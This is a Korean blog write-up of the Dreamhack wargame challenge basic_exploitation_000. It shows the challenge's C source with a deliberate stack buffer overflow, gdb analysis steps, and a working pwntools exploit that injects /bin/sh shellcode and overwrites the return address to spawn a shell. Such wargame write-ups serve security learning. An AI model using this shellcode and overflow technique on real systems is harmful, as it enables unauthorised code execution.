반응형
추억팔이 시작!
basic_exploitation_000 (pwnable)
url : https://dreamhack.io/wargame/challenges/2/
아무런 보호 기법이 걸려있지 않은 것을 확인할 수 있다.
basic_exploitation_000 을 실행시키면 buf 의 주소가 출력되고 입력을 기다린다. 입력을 받으면 종료된다.
취약점 찾기
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
int main(int argc, char *argv[]) {
char buf[0x80];
initialize();
printf("buf = (%p)\n", buf);
scanf("%141s", buf);
return 0;
}
주어진 C 소스코드를 보면 배열 buf 변수의 크기가 0x80(128) 이지만 scanf() 함수로 141바이트까지 입력 받을 수 있기 때문에 버퍼오버플로우가 가능하다.
분석
주소를 출력해주는 변수 buf 는 [ebp-0x80]에 있다.
스택 상에 return address는 buf의 주소로부터 0x80 (buf의 크기) + 0x4 (sfp의 크기)에 있다.
buf 에 쉘 코드를 작성하고, 0x84 에서 쉘 코드의 크기를 뺀 만큼 1byte DUMMY 값을 채워준다.
출력된 buf의 주소를 리틀엔디언방식으로 넣어주면 쉘을 얻을 수 있다.
-gdb ./basic_exploitation_000
-disass main
-b *main+50 : 브레이크 포인트 설정
-run : 파일 동작
-x/100x $esp : esp 레지스터 시작 위치부터 0x100 만큼 확인
-x/x $ebp : ebp 레지스터 값 확인
익스플로잇 코드
from pwn import *
p = remote("host1.dreamhack.games", 8633)
shell = '\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x08\x40\x40\x40\xcd\x80'
p.recvuntil('buf = (')
buf = int(p.recv(10), 16)
p.recvuntil('\n')
payload = shell + 'A'*(0x80 - len(shell)) + "AAAA" + p32(buf)
p.sendline(payload)
p.interactive()
반응형
'공부 > 보안' 카테고리의 다른 글
[dreamhack] System Exploitation 10강 (0) | 2021.03.18 |
---|---|
[dreamhack] System Exploitation 7강 (0) | 2021.03.12 |
[dreamhack] System Exploitation 6강 - NX bit (0) | 2021.03.11 |
[dreamhack] System Exploitation 6강 - NOP Sled (0) | 2021.03.10 |
[dreamhack] System Exploitation 6강 - Return Address Overwrite (0) | 2021.03.09 |